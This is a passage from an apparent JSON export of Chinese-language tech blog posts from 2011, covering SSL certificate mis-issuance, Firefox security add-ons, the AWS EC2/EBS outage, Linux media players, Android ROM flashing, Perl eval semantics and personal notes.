href=\"http://www.prism.gatech.edu/~gmacon3/ssl-observatory/unqualified_local_rfc1918_ev.txt\">www.prism.gatech.edu/~gmacon3/ssl-observatory/unqualified_local_rfc1918_ev.txt</a>」。(那個 <a href=\"http://www.verisign.com/\">VeriSign</a> 你太誇張了，<code>\"CN=Bownedev\"</code> &amp; <code>\"CN=qa-sescib-web1\"</code> &amp; <code>\"CN=tc-teweb01-s\"</code> 你也能過？EV 的文件檢查根本沒再看的喔？)\r\n\r\n在「<a href=\"http://www.prism.gatech.edu/~gmacon3/ssl-observatory/unqualified_local_rfc1918_all.txt\">www.prism.gatech.edu/~gmacon3/ssl-observatory/unqualified_local_rfc1918_all.txt</a>」這邊有張表列出出包單位的數量可以看...\r\n\r\n雖然一月就做完這份資料，但不得不說 EFF 補刀的時間真棒... 趁這陣子 CA 架構問題正熱的時候寫一篇來補一刀 XD",
    "title": "這下可包大了，居然有一堆 \"localhost\" 這類的 SSL Certificate 被發出來..."
  },
  {
    "id": "2576",
    "body": "這只能掙扎，但還是要掙扎啊！\r\n\r\n<a href=\"https://addons.mozilla.org/firefox/addon/certificate-patrol/\">Certificate Patrol</a> 是一個 Firefox 延伸套件，你可以設定在新看到 SSL Certificate 的時候跳出一個視窗來告訴你這個 SSL Certificate 的資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YTDPs.webp\" /><img src=\"https://i.gslin.com/imgur/YTDPs.jpg\" alt=\"\" /></picture>\r\n\r\n如果你平常有在用 <code>https://mail.google.com</code>，結果突然發現有天跳出視窗，你就應該要有所警覺了...",
    "title": "安裝 Certificate Patrol 增加對最近 SSL Certificate 問題的抵抗性..."
  },
  {
    "id": "2578",
    "body": "<a href=\"http://www.oracle.com/\">Oracle</a> 認為 <a href=\"http://www.google.com/\">Google</a> 侵犯 Oracle 在 <a href=\"http://www.java.com/\">Java</a> 使用的專利，而 Google 認為 Oracle 的專利不成立，所以兩邊現在在打官司...\r\n\r\n但這牽扯太多專業問題，要了解專利本身的內容才有辦法判斷，所以兩邊的律師決定讓法官先知道 Java 是什麼東西，開兩個禮拜的課程讓 William Alsup 法官了解 Java 的背景與細節：「<a href=\"http://developers.slashdot.org/story/11/04/08/0324236/Judge-In-Oracle-Google-Case-Given-Crash-Course-in-Java\">Judge In Oracle-Google Case Given Crash Course in Java</a>」、「<a href=\"http://www.itworld.com/operating-systems/153541/judge-oracle-google-case-gets-lesson-java\">Judge in Oracle-Google case gets a lesson in Java</a>」，引用其中一段：\r\n<blockquote>Judge William Alsup of the U.S. District Court in San Francisco was given an overview of Java and why it was invented, and an explanation of terms such as bytecode, compiler, class library and machine-readable code.</blockquote>\r\n成人速成班 XDDD",
    "title": "Oracle 與 Google 的 Java 專利官司：先教法官 Java 是什麼..."
  },
  {
    "id": "2582",
    "body": "最大的問題在於 codec，所以講重點就好：裝 libavcodec-extra-52。不同 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 版本後面的號碼可能不一樣，用 <code>apt-cache search libavcodec</code> 應該可以看到。\r\n\r\n預設用 rv40 解，打開兩秒就停住，換上去以後就正常了...",
    "title": "在 Ubuntu 10.10 上看 RV10 影片的方式..."
  },
  {
    "id": "2583",
    "body": "在「<a href=\"http://royal.pingdom.com/2011/04/11/what-google-autocomplete-has-to-say-about-the-internet/\">What Google autocomplete has to say about the Internet</a>」看到一連串 Google Autocomplete 的圖片，這些建議是表示 Internet 要毀滅了嗎 XDDD\r\n\r\n不過這個我喜歡：\r\n\r\n<img src=\"http://farm6.static.flickr.com/5265/5608956591_21c8562786_o.png\" alt=\"ie6 is dead\" />\r\n\r\n文章最後提到的這個 XDDD\r\n\r\n<img src=\"http://farm5.static.flickr.com/4095/5609537232_bb954af277_o.png\" alt=\"google is evil\" />",
    "title": "Google 自動完成... Internet 要毀滅了嗎..."
  },
  {
    "id": "2585",
    "body": "<a href=\"http://www.joelonsoftware.com/\">Joel Spolsky</a> 大概不太滿意這些詐騙集團 XD\r\n\r\n他在「<a href=\"http://blog.stackoverflow.com/2011/04/stack-exchange-traffic-still-growing/\">Stack Exchange Traffic Still Growing</a>」這篇裡面直接拿最正確的 source 產生出來的 <a href=\"https://www.google.com/analytics/\">Google Analytics</a> 數據 (畢竟是自己掛到自己站上的)，讓人知道 <a href=\"http://stackoverflow.com/\">StackOverflow</a> 還在成長...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yFuyQ.webp\" /><img src=\"https://i.gslin.com/imgur/yFuyQ.jpg\" alt=\"\" /></picture>\r\n\r\n然後直接婊 <a href=\"http://www.compete.com/\">Compete</a> 給的數據：(這張圖原始檔名叫做 <code>compete-is-rubbish.png</code>)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SSV7I.webp\" /><img src=\"https://i.gslin.com/imgur/SSV7I.jpg\" alt=\"\" /></picture>",
    "title": "StackOverflow 成長數字 (Google Analytics) 與某些分析數據的比較..."
  },
  {
    "id": "2586",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zeFFr.webp\" /><img src=\"https://i.gslin.com/imgur/zeFFr.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 也打算要加快開發的速度，打算每 18 個星期出一個大版本，同時推出新的 Aurora channel 讓人下載測試：「<a href=\"http://blog.mozilla.com/blog/2011/04/13/new-channels-for-firefox-rapid-releases/\">New Channels for Firefox Rapid Releases</a>」。\r\n\r\n以前如果不用 Beta 就得等 Nightly (每天更新)，現在中間多了一個 Aurora 讓人選擇。這類似於 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 的 Dev-Beta-Stable 模式...\r\n\r\n這樣應該可以改善 Firefox 的套件相容性，不用等到 Beta 才開始修... (有時候會在 Nightly 修好後又被揍了一拳 XD)",
    "title": "Firefox Channel..."
  },
  {
    "id": "2588",
    "body": "亞太區 <a href=\"http://www.apnic.net/\">APNIC</a> 手上的 IPv4 位置也分完了：「<a href=\"http://tech.slashdot.org/story/11/04/14/2237237/Asia-Runs-Out-of-IPv4-Addresses\">Asia Runs Out of IPv4 Addresses</a>」。\r\n\r\n也就是說，要跟 APNIC 拿 IPv4 address 沒得拿了，要 IPv4 address 得跟現有的這些人買，不然就得想辦法跨區要。\r\n\r\n這個消息對今年兩個月後的 IPv6 測試有更高的期望了...",
    "title": "APNIC 手上的 IPv4 address 用完了..."
  },
  {
    "id": "2589",
    "body": "在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的 mailing list 上有人將 Ubuntu 11.04 系統拿給 11 個使用者測試 (並且觀察)，並將結果 post 上來：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-devel/2011-April/032988.html\">Default Desktop Experience for 11.04 - User testing results</a>」。\r\n\r\n如果你仔細讀，會看到很多很驚人的 User Experience 問題，是 geek 沒辦法想到的 (因為反射動作就會避開這些問題)，像是下面的敘述描述了 slash 與 filename 衝突的問題：\r\n<blockquote>9/9 easily saved their LibreOffice Writer document. (P1 recovered amazingly well after trying to save \"Letter to Mr Smith 08/04/11\", and getting the vile response \"Error stating file '/home/ubuntu/Documents/Letter to Mr Smith 08/04': No such file or directory\").</blockquote>\r\n這個方法應該要試著套進現在的模式...",
    "title": "Ubuntu 11.04 使用者測試結果"
  },
  {
    "id": "2590",
    "body": "<a href=\"https://i.gslin.com/imgur/uol1o.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uol1o.webp\" /><img src=\"https://i.gslin.com/imgur/uol1o.jpg\" alt=\"\" /></picture></a>\r\n\r\nmember.cht.com.tw 換憑證，看起來是 30 days trial certificate，剛上線 :o",
    "title": "Certificate Partol 看到有趣的東西：member.cht.com.tw"
  },
  {
    "id": "2592",
    "body": "<a href=\"http://engelschall.com/\">Ralf S. Engelschall</a> (<a href=\"http://people.freebsd.org/~rse/\">rse@FreeBSD.org</a>) 將各主版本升級的過程整理成文件 (連 3.x 到 4.x 的 local upgrade，以及 4.x 到 5.x 的 remote upgrade 都有)：「<a href=\"http://people.freebsd.org/~rse/upgrade/\">FreeBSD Upgrade Procedures</a>」。\r\n\r\n手上有 4.11 或是 4-STABLE 的機器的人可以考慮一下 XD",
    "title": "FreeBSD 遠端主版本升級..."
  },
  {
    "id": "2593",
    "body": "<a href=\"http://www.arbornetworks.com/\">Arbor Networks</a> 的 Blog 上分析了目前 IPv6 的進展：「<a href=\"http://asert.arbornetworks.com/2011/04/six-months-six-providers-and-ipv6/\">Six Months, Six Providers and IPv6</a>」。\r\n\r\n以去年八月到今年二月的數字來看，其實現在 P2P 還是佔絕對性的數量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QeEZ1.webp\" /><img src=\"https://i.gslin.com/imgur/QeEZ1.jpg\" alt=\"\" /></picture>\r\n\r\n另外一張圖是北美 IPv4 的頻寬分析，這點可以看出之前 <a href=\"http://www.netflix.com/\">Netflix</a> 另外採購 <a href=\"http://www.level3.com/\">Level3</a> 的 CDN 對 <a href=\"http://www.akamai.com/\">Akamai</a> 的影響：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vguzJ.webp\" /><img src=\"https://i.gslin.com/imgur/vguzJ.jpg\" alt=\"\" /></picture>\r\n\r\n這數字真驚人...",
    "title": "IPv6 的進展，以及北美 IPv4 流量分析..."
  },
  {
    "id": "2594",
    "body": "<img src=\"https://i.gslin.com/imgur/Mz1KE.jpg\" alt=\"\" />\r\n\r\n本來圖片過寬會造成頁面有點亂，針對文章內的圖片補一下 max-width，不過這個屬性 IE6 就 sorry 了 XD\r\n\r\n上一篇「<a href=\"http://blog.gslin.org/archives/2011/04/19/2593/ipv6-%E7%9A%84%E9%80%B2%E5%B1%95%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%8C%97%E7%BE%8E-ipv4-%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90\">IPv6 的進展，以及北美 IPv4 流量分析…</a>」用到的圖都有超過，現在看起來應該好一些了...",
    "title": "更新 blog css，加上 max-width..."
  },
  {
    "id": "2596",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上有人提到 <a href=\"http://www.google.com/\">Google</a> 最近調整的情況，繼續調降 low-quality site (這次是 eHow) 在搜尋的排名：「<a href=\"http://tech.slashdot.org/story/11/04/19/1256211/Google-Tweaks-Algorithm-EHow-Traffic-Plummets\">Google Tweaks Algorithm; EHow Traffic Plummets</a>」。\r\n\r\n最近用中文版的 search 發現愈來愈找不到想要的東西了，把語系切到英文版試一陣子看看...",
    "title": "Google 調整參數處罰 Content Farm 的進度"
  },
  {
    "id": "2598",
    "body": "<a href=\"http://www.youtube.com/\">YouTube</a> 發了一篇公告，將站上約 30% 的影片另外壓一份 <a href=\"http://www.webmproject.org/\">WebM</a> 格式，而這 30% 佔全站 99% pageview：「<a href=\"http://youtube-global.blogspot.com/2011/04/mmm-mmm-good-youtube-videos-now-served.html\">Mmm mmm good - YouTube videos now served in WebM</a>」。\r\n\r\n目前在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 4+、<a href=\"http://www.opera.com/\">Opera</a> 10.6+、<a href=\"http://www.google.com/chrome\">Google Chrome</a> 支援 WebM 格式，手機平台則是 <a href=\"http://www.android.com/\">Android</a> 2.3 (Gingerbread) 支援。\r\n\r\n希望有一天可以完全取代 <a href=\"http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC\">H.264</a>...",
    "title": "YouTube 將 99% PV 影片加上 WebM 支援"
  },
  {
    "id": "2599",
    "body": "在 <a href=\"http://aws.amazon.com/\">AWS</a> 的「<a href=\"http://status.aws.amazon.com/\">Service Health Dashboard</a>」上可以看到美東機房從 PDT 1:41 AM (台灣時間是 4:41 PM) 開始介入，到現在五個多小時了...\r\n\r\n下午本來要跑一堆東西，看起來得晚上做了，明天來凹一下老闆，下午再進公司好了... :o\r\n\r\n<strong>Update</strong>：在 Service Health Dashboard 上面總算有初步的原因了：\r\n<blockquote>8:54 AM PDT We'd like to provide additional color on what were working on right now (please note that we always know more and understand issues better after we fully recover and dive deep into the post mortem). A networking event early this morning triggered a large amount of re-mirroring of EBS volumes in US-EAST-1. This re-mirroring created a shortage of capacity in one of the US-EAST-1 Availability Zones, which impacted new EBS volume creation as well as the pace with which we could re-mirror and recover affected EBS volumes. Additionally, one of our internal control planes for EBS has become inundated such that it's difficult to create new EBS volumes and EBS backed instances. We are working as quickly as possible to add capacity to that one Availability Zone to speed up the re-mirroring, and working to restore the control plane issue. We're starting to see progress on these efforts, but are not there yet. We will continue to provide updates when we have them.</blockquote>\r\n看起來還要再等等...",
    "title": "目前 AWS EC2 (美東機房) 出問題..."
  },
  {
    "id": "2601",
    "body": "兩張圖，都是看滑鼠的那個選項：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DJLln.webp\" /><img src=\"https://i.gslin.com/imgur/DJLln.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nrSqu.webp\" /><img src=\"https://i.gslin.com/imgur/nrSqu.jpg\" alt=\"\" /></picture>",
    "title": "Firefox 設定「當無法驗證 SSL 憑證是否失效時，視為失效」"
  },
  {
    "id": "2602",
    "body": "這次的 <a href=\"http://aws.amazon.com/\">AWS</a> <a href=\"http://aws.amazon.com/ec2/\">EC2</a>/<a href=\"http://aws.amazon.com/ebs/\">EBS</a> 問題讓很多站台掛掉 (可以看「<a href=\"http://www.ec2disabled.com/\">Who is affected by EC2?</a>」這個站台，在發文的現在 US-East 還是沒完全恢復)，但這次並不是每個使用 US-East 的站台都掛掉，像是 <a href=\"http://www.netflix.com/\">Netflix</a> 因為一開始規劃就是「Cloud 也是會爛整片的」，所以服務並沒有中斷。在 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上就有<a href=\"http://news.ycombinator.com/item?id=2470773\">被提出來討論</a>。\r\n\r\n討論裡面也有投影片說明 Netflix 選 AWS 的原因是因為「來不及建立 Data Center」，但在建立時也同時注意到「Cloud 有可能會大規模爛掉」的情況而設計了很多機制防範：「<a href=\"http://www.slideshare.net/adrianco/netflix-in-the-cloud-2011\">Netflix in the cloud 2011</a>」。\r\n\r\n利用 AWS 在多個不同地點都有機房把架構在 AWS 上所能提供的 HA 機制發揮到極致，不過這是建立在「Cheaper than cost of being down」的想法上 (因為 Netflix 已經算是某類型的電子商務公司了)。\r\n\r\n話說回來，繼續等美東機房恢復...",
    "title": "這次的 AWS EC2/EBS 問題..."
  },
  {
    "id": "2604",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> <a href=\"http://aws.amazon.com/ec2/\">EC2</a>/<a href=\"http://aws.amazon.com/ebs/\">EBS</a> 從星期四 21 日下午四點開始 (+8 時區)，到剛剛在「<a href=\"http://status.aws.amazon.com/\">Service Health Dashboard</a>」上看到宣佈恢復 (亮綠燈)，總共花了超過三天半的時間。有些人受到影響時間比較長，有些人比較短，我是在 24 號的凌晨恢復的，受到影響時間約兩天多。這幾天應該會有比較正式的說明...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/d5fu9.webp\" /><img src=\"https://i.gslin.com/imgur/d5fu9.jpg\" alt=\"\" /></picture>\r\n\r\n手上本來沒打算這麼早設計 failover 機制的，現在都要拉到前面做了...",
    "title": "AWS EC2/EBS 用了三天半時間恢復..."
  },
  {
    "id": "2605",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 亞太區的窗口要來台灣，本來是計畫找<a href=\"http://www.cph.com.tw/\">城邦集團</a>內的人一起聊聊，後來跟 <a href=\"http://jnlin.org/\">jnlin</a> 提議，直接拉到社群層面辦，讓更多人跳下去用... (而且「前幾天的事情」大家應該會想要找人聊聊？XD)\r\n\r\n飲料的部份由敝公司 <a href=\"http://www.pixnet.net/\">PIXNET</a> 準備，歡迎來交流。註冊的資訊在：「<a href=\"http://registrano.com/events/aws-in-taipei\">Amazon Web Service 台北開發者聚會</a>」。",
    "title": "AWS 台北的聚會..."
  },
  {
    "id": "2609",
    "body": "用 multi-threaded 版本可以將解碼的程式丟到多顆 CPU core 上跑，善用多 CPU 的資源，這樣看 1080p 才不會痛... (家裡的 AMD X2 4000+ 得這樣設，不然原來的版本解不動)\r\n\r\n主要有兩個步驟要做，首先是加 <a href=\"https://help.launchpad.net/Packaging/PPA\">ppa</a> 並且安裝 mplayer-mt：\r\n<blockquote><code>sudo apt-add-repository ppa:longinus00/mplayer-mt\r\nsudo apt-get update\r\nsudo apt-get upgrade # 已經有 mplayer 的 case\r\nsudo apt-get install mplayer # 沒有裝 mplayer 的 case</code></blockquote>\r\n然後是設定 <a href=\"http://smplayer.sourceforge.net/\">smplayer</a> 要他在用 mplayer 時加上參數：\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rxqFw.webp\" /><img src=\"https://i.gslin.com/imgur/rxqFw.jpg\" alt=\"\" /></picture>\r\n參數是「<code>-lavdopts threads=4</code>」。\r\n\r\n不過寫完才發現我這張 video card 有硬解可以用... XD",
    "title": "裝 mplayer-mt 改善解碼效率"
  },
  {
    "id": "2611",
    "body": "好像有陣子沒寫餵食紀錄了...\r\n\r\n餵食前：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5656721434\"><img src=\"http://farm6.static.flickr.com/5029/5656721434_feaa0af8d3_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5656722764\"><img src=\"http://farm6.static.flickr.com/5063/5656722764_7c6502d248_b.jpg\" alt=\"\" /></a>\r\n\r\n餵食後：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5656190383\"><img src=\"http://farm6.static.flickr.com/5067/5656190383_a9c7a55fa6_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5656190661\"><img src=\"http://farm6.static.flickr.com/5184/5656190661_110fa5c087_b.jpg\" alt=\"\" /></a>",
    "title": "餵食..."
  },
  {
    "id": "2612",
    "body": "今天晚上到銀記餵食完 <a href=\"http://slzzp.pixnet.net/blog\">slzzp</a> 後，順便就在光華商場買了一張 Class 10 的 MicroSD，準備給 <a href=\"http://www.htc.com/www/product/desire/overview.html\">Desire</a> 刷 A2SD ROM 用，不然裝沒幾個軟體就在叫沒空間... 回家等車的地方剛好看到 <a href=\"http://www.htc.com/\">HTC</a> 在光華的店面：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5657066399\"><img src=\"http://farm6.static.flickr.com/5226/5657066399_044f463306_b.jpg\" alt=\"\" /></a>\r\n\r\n回家後到 <a href=\"http://www.xda-developers.com/\">XDA</a> 上找個順眼的 image 刷，挑的是「<a href=\"http://forum.xda-developers.com/showthread.php?t=1038195\">[ROM]LeeDrOiD V3.0.3 GB 22nd April | Android 2.3.3 | A2SD+ | OpenVPN | FAST | STABLE</a>」這個。\r\n\r\n除了一般刷機要做的事情外，在 <a href=\"http://www.linux.org/\">Linux</a> 下面要自己找指令處理 MicroSD card。依照一般教學的說明，目的是要在 MicroSD 卡上產生一塊 FAT32 及一塊 ext3 的空間，在 Linux 下用 <code>fdisk</code> + <code>mkfs.vfat</code> + <code>mkfs.ext3</code> 就可以處理好，不需要裝軟體。\r\n\r\n接下來先用舊的 MicroSD card 抓 V3.0.3 然後刷上去，然後換新的 MicroSD 卡，開機進入 recovery 模式把 user data 都砍乾淨，接下來就沒什麼問題了，把之前有用過得軟體都裝進去...\r\n\r\n最後附上今天晚上的餵食照片：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5657545984\"><img src=\"http://farm6.static.flickr.com/5183/5657545984_a79d1880ba_b.jpg\" alt=\"\" /></a>",
    "title": "第二次刷 Desire..."
  },
  {
    "id": "2613",
    "body": "昨天「<a href=\"http://blog.gslin.org/archives/2011/04/27/2612/%E7%AC%AC%E4%BA%8C%E6%AC%A1%E5%88%B7-desire\">第二次刷 Desire…</a>」在處理 MicroSD 記憶卡的時候，<code>fdisk</code> 的部份弄錯了參數 (要輸入 <code>+1G</code> 輸入成 <code>1G</code>，結果切出來不到 1MB)，造成 FAT32 的 partition 太小，於是在 <a href=\"http://www.android.com/\">Android</a> 的系統中只有 300KB 的 SD 卡空間可以用，然後一堆程式就會爆炸... 重切以後就都 okay 了。\r\n\r\n另外 <a href=\"http://forum.xda-developers.com/showthread.php?t=1038195\">LeeDrOiD V3.0.3 GB</a> 在 <a href=\"https://market.android.com/\">Android Market</a> 逛的時候超容易當機，文章 Changelog 的地方有個 patch 可以下載更新，刷上去以後就正常多了...\r\n\r\n因為這樣晚上牛肉麵的餵食照片沒拍起來... (不是銀記，是另外一家)",
    "title": "重做記憶卡，刷 patch..."
  },
  {
    "id": "2614",
    "body": "目前還是 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 的 <a href=\"http://www.delicious.com/\">Delicious</a> 被 <a href=\"http://www.youtube.com/\">YouTube</a> 兩位創辦人 <a href=\"http://en.wikipedia.org/wiki/Chad_Hurley\">Chad Hurley</a> &amp; <a href=\"http://en.wikipedia.org/wiki/Steve_Chen_%28YouTube%29\">Steve Chen</a> 買下，金額未公開，但 Delicious 的正式公告已經放出來了：「<a href=\"http://blog.delicious.com/\">YouTube Founders Acquire Delicious</a>」。\r\n\r\n目前官方的規劃是在七月轉換完成，接下來 Delicious 會詢問是否要轉換到 <a href=\"http://www.avos.com/\">AVOS</a>，也就是這兩個人的新公司。詳細的細節可以參考這次轉換的 <a href=\"http://www.delicious.com/help/transition\">FAQ</a>。\r\n\r\n這家新公司有可能過沒多久又被 <a href=\"http://www.google.com/\">Google</a> 買進去？總覺得這是必然的趨勢...",
    "title": "Yahoo! 的 delicious 被 YouTube 創辦人買下"
  },
  {
    "id": "2615",
    "body": "吃完午餐回來總算是拿到 <a href=\"https://kindle.amazon.com/\">Amazon Kindle</a> 了：(都是<a href=\"http://blog.ijliao.info/\">蔡依林</a>害的... XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5663175111\"><img src=\"http://farm6.static.flickr.com/5309/5663175111_599f16c0a1_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5663206655\"><img src=\"http://farm6.static.flickr.com/5306/5663206655_63eff62534_b.jpg\" alt=\"\" /></a>\r\n\r\n電子紙的感覺跟 <a href=\"http://www.apple.com/ipad/\">iPad</a> 不太一樣，看起來很舒服，等下先把一些想看的 PDF 文件丟進去測試看看...\r\n\r\n附上今天的「餵食日記」：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5663742540\"><img src=\"http://farm6.static.flickr.com/5141/5663742540_2747efd200_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5663174535\"><img src=\"http://farm6.static.flickr.com/5261/5663174535_0d1433de2e_b.jpg\" alt=\"\" /></a>",
    "title": "Kindle 總算到了..."
  },
  {
    "id": "2617",
    "body": "同事 <a href=\"http://rellikhsu.blogspot.com/\">rellik</a> 找到的：「<a href=\"https://addons.mozilla.org/firefox/addon/dnssec-validator/\">DNSSEC Validator</a>」。\r\n\r\n沒有 DNSSEC 的效果就像這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fI3RK.webp\" /><img src=\"https://i.gslin.com/imgur/fI3RK.jpg\" alt=\"\" /></picture>\r\n\r\n錯誤的 DNSSEC 效果則是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ygw0L.webp\" /><img src=\"https://i.gslin.com/imgur/ygw0L.jpg\" alt=\"\" /></picture>\r\n\r\n而有 DNSSEC 的效果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cgJ16.webp\" /><img src=\"https://i.gslin.com/imgur/cgJ16.jpg\" alt=\"\" /></picture>\r\n\r\n不過這要 DNS resolver 支援 <a href=\"http://www.dnssec.net/\">DNSSEC</a> 才行，目前 ISP 提供的 DNS resolver 大多都還沒 support...",
    "title": "Firefox 檢查 DNSSEC 的 extension"
  },
  {
    "id": "2618",
    "body": "<a href=\"http://www.amazon.com/\">Amazon</a> 在網頁上說明了在 4/21 美東地區 <a href=\"http://aws.amazon.com/ebs/\">EBS</a>/<a href=\"http://aws.amazon.com/rds/\">RDS</a> 故障的原因：「<a href=\"http://aws.amazon.com/message/65648/\">Summary of the Amazon EC2 and Amazon RDS Service Disruption in the US East Region</a>」。\r\n\r\n整篇文章相當長，但整個連鎖反應是起於操作時的人為疏失。而 RDS 因為是基於 EBS 上，所以也跟著大爆炸...\r\n\r\n另外文章最後面也提到賠償的方式：\r\n<blockquote>For customers with an attached EBS volume or a running RDS database instance in the affected Availability Zone in the US East Region at the time of the disruption, regardless of whether their resources and application were impacted or not, we are going to provide a 10 day credit equal to 100% of their usage of EBS Volumes, EC2 Instances and RDS database instances that were running in the affected Availability Zone.</blockquote>\r\n另外，<a href=\"http://aws.amazon.com/\">AWS</a> 的 SLA 中有要求當未滿 SLA 條件時，必須由使用者提出退款要求，但這次則是例外，符合條件的會主動在下次的帳單上，或是系統的頁面上看到：\r\n<blockquote>These customers will not have to do anything in order to receive this credit, as it will be automatically applied to their next AWS bill. Customers can see whether they qualify for the service credit by logging into their AWS Account Activity page.</blockquote>",
    "title": "Amazon 詳細說明 AWS EBS/RDS 故障的原因..."
  },
  {
    "id": "2621",
    "body": "<a href=\"http://www.dotcloud.com/\">DotCloud</a> 在官方的 blog 上宣佈提供 <a href=\"http://www.perl.org/\">Perl</a> <a href=\"http://en.wikipedia.org/wiki/Platform_as_a_service\">PaaS</a>：「<a href=\"http://blog.dotcloud.com/dotcloud-introduces-camel-as-a-service-with-i\">DotCloud introduces Camel-as-a-Service with its new Perl stack</a>」，這應該是第一個 Perl Paas，也應該跟 <a href=\"http://bulknews.typepad.com/\">miyagawa</a> (<a href=\"http://plackperl.org/\">PSGI</a> 協定的建立者與維護者) 加入 DotCloud 有些關係。\r\n\r\n協定是 PSGI，系統目前是用 <a href=\"http://nginx.org/\">nginx</a> 加上 <a href=\"http://projects.unbit.it/uwsgi/\">uWSGI</a>。目前只有 web 端的部份可以用 Perl，Worker 還不行。\r\n\r\n等帳號下來後再來玩看看...",
    "title": "DotCloud 提供 Perl (PSGI) PaaS 服務..."
  },
  {
    "id": "2623",
    "body": "之前在 <a href=\"http://aws.amazon.com/console/\">AWS Console</a> 上一直沒辦法設定 <a href=\"http://aws.amazon.com/cloudfront/\">AWS CloudFront</a> 的 Custom Origin，必須透過 3rd-party 軟體設定，而現在總算是把這個功能補上去了：「<a href=\"http://aws.typepad.com/aws/2011/05/improved-cloudfront-support-in-the-aws-management-console.html\">Improved CloudFront Support in the AWS Management Console</a>」。\r\n\r\n直接拿 Demo 的圖，最重要的 Custom Origin 功能的畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5BjEH.webp\" /><img src=\"https://i.gslin.com/imgur/5BjEH.jpg\" alt=\"AWS CloudFront Custom Origin\" /></picture>\r\n\r\n不過好像還是沒看到 Purge...",
    "title": "Amazon Web Services Console 加強 CloudFront 設定..."
  },
  {
    "id": "2626",
    "body": "沒有把 <a href=\"http://perldoc.perl.org/functions/eval.html\">eval 的 manual</a> 弄清楚，結果中了不少槍... 以這段 code 來說：\r\n<blockquote><pre>#!/usr/bin/env perl\r\n\r\nuse strict;\r\nuse warnings;\r\nuse Data::Dumper;\r\n\r\nsub a {\r\n    eval {\r\n        return 'Inside eval';\r\n    };\r\n\r\n    return undef;\r\n}\r\n\r\nprint Dumper a();\r\n\r\n__END__</pre></blockquote>\r\n輸出結果會是 <code>undef</code>，而非 <code>Inside eval</code>，因為：\r\n<blockquote>the value returned is the value of the last expression evaluated inside the mini-program; a return statement may be also used, just as with subroutines.</blockquote>\r\n沒專心看 manual 的結果 XD\r\n\r\n不過這還是沒解決我遇到在 <code>eval</code> 裡面仍然會因為 <code>croak</code> 而結束的情況... 再加油吧 :o",
    "title": "Perl 的 eval"
  },
  {
    "id": "2630",
    "body": "新電腦是 AMD X4-905e，記憶體插 4GB*2。\r\n\r\n本來的電腦只有 2GB RAM (兩條 DDR2 1GB)，之前跑 Windows XP 32bits 還不覺得慢，換到 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上因為需要跑 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 就變得很有感覺... 再加上公司的電腦是新配的 (Core i3-540 加上 8GB RAM)，回家都在哀怨電腦速度 XD\r\n\r\n本來是考慮只換 8GB RAM (兩條 DDR2 4GB)，在家翻了<a href=\"http://www.coolpc.com.tw/\">原價屋</a>、<a href=\"http://www.mren.com.tw/\">名人</a>與<a href=\"http://www.355.com.tw/\">巴德</a>，發現 DDR2 4GB 不怎麼好找 (也不怎麼划算)，於是就打算把整台換掉...\r\n\r\n因為有買一顆新的硬碟當作系統碟，換完後就順便再灌一次 Ubuntu 11.04，目前用起來還不錯... 測了一下 <a href=\"http://smplayer.sourceforge.net/\">smplayer</a> 發現看 rmvb 可以用八倍速看，不錯不錯...\r\n\r\n補上去光華買電腦時，順便到旁邊的<a href=\"http://www.burgerking.dachan.com/\">漢堡王</a>買特製華堡的餵食日記：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5693352543\"><img src=\"http://farm6.static.flickr.com/5067/5693352543_e59950a6ab_o.jpg\" alt=\"\" /></a>",
    "title": "換新電腦..."
  },
  {
    "id": "2633",
